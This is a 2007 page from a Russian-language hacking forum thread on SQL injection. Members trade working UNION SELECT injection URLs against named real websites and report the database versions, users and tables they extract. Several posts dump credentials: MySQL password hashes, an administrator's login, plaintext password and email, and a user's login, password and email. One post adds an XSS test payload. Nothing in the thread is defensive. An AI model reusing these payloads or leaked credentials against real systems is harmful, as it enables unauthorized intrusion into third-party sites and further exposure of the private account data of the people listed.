FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 411 из 1602

411

Опции темы

Поиск в этой теме

Опции просмотра

26.12.2007, 11:40

x88x

Участник форума

Регистрация: 27.11.2007

Сообщений: 233

Провел на форуме:
1379382

Репутация: 378

Отправить сообщение для x88x с помощью ICQ

ну я тож, дабы не отставать выкладываю:

QSRWEB.COM

Код:

http://www.qsrweb.com/research.php?rc_id=16+union+select+USER(),2,3,4,5,6,7,8,9

atmmarketplace@localhost

из таблиц нашел только members...

26.12.2007, 15:07

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

askort.com

Код:

http://www.askort.com/?item_id=-1+union+select+1,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),database(),user()),0x71),0x71),3,4/*

4.1.11:maxivanov_askort:maxivanov_askort@localhost

newuniversity.org - University of California

Код:

http://www.newuniversity.org/checkDB.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user())/*

5.37-standard-log:newunive_NewU:newunive_newu@localhost

latestchess.com - Шахматы - сила!

Код:

http://latestchess.com/showArticle.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6/*

4.0.16:lciin000_lc:lciin000_lc@localhost

vcharkarn.com - что-то индийское походу...

Код:

http://www.vcharkarn.com/include/article/showarticle.php?aid=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

5.0.22:db17937a:us17937a@localhost

Из таблиц кое-чего:

Код:

administrator
contact_list
email_confirm
exam_users_ID
member_info

В табе administrator есть поля:

Код:

admin_id,login,password

26.12.2007, 16:26

AFoST

Members of Antichat - Level 5

Регистрация: 28.05.2007

Сообщений: 729

Провел на форуме:
5571194

Репутация: 1934

Отправить сообщение для AFoST с помощью ICQ

alouettecanada.ca

Код:

http://www.alouettecanada.ca/press_releases-f.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

26.12.2007, 16:49

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

Провел на форуме:
1273248

Репутация: 785

Отправить сообщение для .Begemot. с помощью ICQ

statistik.basketball-bundesliga.de

Код HTML:

http://statistik.basketball-bundesliga.de/print_player.php?liga_id=1&team_id=413+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

Код HTML:

http://statistik.basketball-bundesliga.de/print_player.php?liga_id=1&team_id=413+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

USER:bblstats@localhost
VERSION::4.1.11-Debian_4sarge7
DATABASE:usr_web1_1

Вот тут админка еще:

Код HTML:

http://statistik.basketball-bundesliga.de/admin/

26.12.2007, 17:45

~~ThreeD~~

Banned

Регистрация: 25.12.2006

Сообщений: 179

Провел на форуме:
2337678

Репутация: 354

mypspwebsite.com

Цитата:

http://mypspwebsite.com/order.php?id=-5+union+select+1,2,concat(user,0x3a,password),4,5, 6,7,8,9,10,11+from+mysql.user/*

4.1.21-standard: psp :itl@localhost

root:42da70e829fb058d
itl_safeboating0:14ed81343ed8ed5b
mycms:042b624758e485a0
itl:26a3e0e614cf0724
accomm:5210de0d20737caa
lynx:32335d666b6b535d
ArthurJenkins001:6180cc7a02f27b63
licence:71801f1a6ca21bc2
tucantravel:5f42297b6482f1b4
toucan001:0dbe24ad0d0f6594
_____________________________________________
www.moriahhaggadah.com

Цитата:

http://www.moriahhaggadah.com/o rder.php?id=-258+union+select+1,2,3,4,5,concat(version(),0x3a,d atabase(),0x3a,user( )),7,8,9,10,11,12, 13,14, 15/*

5.0.32-Debian_7etch3-log:aistore:aistore@localhost
_____________________________________________
www.traditionalhousedesign.ca

Цитата:

http://www.traditionalhousedesign.ca/order.php?id=-3+union+select+1,2,concat(version(),0x3a,database( ),0x3a,user()),4,5,6,7,8,9,10,11,12,13,14,15,16/*

5.0.45-log:housedesign:housedesign@localhost

Последний раз редактировалось ThreeD; 26.12.2007 в 20:30..

26.12.2007, 20:01

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

http://www.ugmk.info/?art=-1+union+select+1,2,3,4,concat_ws(0x2F,version(),da tabase(),user()),6,7,8,9/*

4.0.26-log/ugmk/ugmk@localhost

тут же XSS в поиске <script>alert()</script>

-----------------------------------------------------------------------------

http://www.uel.ru/newstext.asp?id=-1+or+1=@@version--

Microsoft SQL Server 7.00 - 7.00.1094 (Intel X86) May 29 2003 15:21:25 Copyright (c) 1988-2002 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

http://www.uel.ru/newstext.asp?id=-1+or+1=(select+db_name())-- uel

http://www.uel.ru/newstext.asp?id=-1+or+1=(select+system_user)-- WWW\IUSR_WWW

26.12.2007, 21:11

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

www.aei.brookings.org

Код HTML:

http://www.aei.brookings.org/publications/abstract.php?pid=-296+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(version(),0x3a,user(),0x3a,database()),15,16,17,18,19/*

4.0.25-standard-log:aei_brookings@10.225.135.70:aei_brookings

26.12.2007, 21:37

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

www.smolbibl.ru

Цитата:

http://www.smolbibl.ru/news.php?Action=FullText&ID=270+union+select+1,con cat_ws(0x3a,User,UserName,UserAccess,UserPass,User Mail,UserFamily)+from+users+limit+0,1/*

5.0.45-community
Admin:Андрей:5:dtkbrj,hbnfybz:anmmat@mail.ru :Метелица
login:Admin
pass:dtkbrj,hbnfybz
http://www.smolbibl.ru/admin.php
но пароль не подходит

... не знаю что делать ((

26.12.2007, 23:41

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

http://soft.oszone.net

Код HTML:

http://soft.oszone.net/program.php?pid=-30+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat(version(),0x3a,user(),0x3a,database()),11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-log:bigmac_soft@localhost:bigmac_soft

#10

27.12.2007, 01:42

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

http://www.europa.fm/ru/index.html?c=about&id=-1+union+select+1,2,3,4,concat_ws(0x2F,cast(version ()+as+binary),cast(database()+as+binary),cast(user ()+as+binary)),6,7,8/*

4.1.14-standard/europa/europa@localhost

-----------------------------------------------------------------------------
art-catalog.ru

http://www.picture.art-catalog.ru/artist.php?id_artist=-4+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5/*

4.1.22-log/artcata8_artcatalog/artcata8_Bos37ar@localhost

http://www.picture.art-catalog.ru/artist.php?id_artist=-4+union+select+1,concat_ws(0x2F,user_login,user_pa ssword,email),3,4,5+from+users/*

логин/пароль/мейл
valent/valent46/maler@bk.ru